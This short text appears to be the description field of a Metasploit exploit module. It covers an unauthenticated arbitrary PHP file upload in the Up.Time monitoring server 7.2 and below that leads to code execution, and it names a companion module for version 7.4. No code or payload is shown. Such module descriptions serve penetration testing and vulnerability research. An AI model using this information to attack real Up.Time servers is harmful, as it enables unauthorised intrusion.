          This module exploits an arbitrary file upload vulnerability found within the Up.Time
          monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
          webroot without authentication, leading to arbitrary code execution.

          Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly
          mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use
          exploits/multi/http/uptime_file_upload_2.
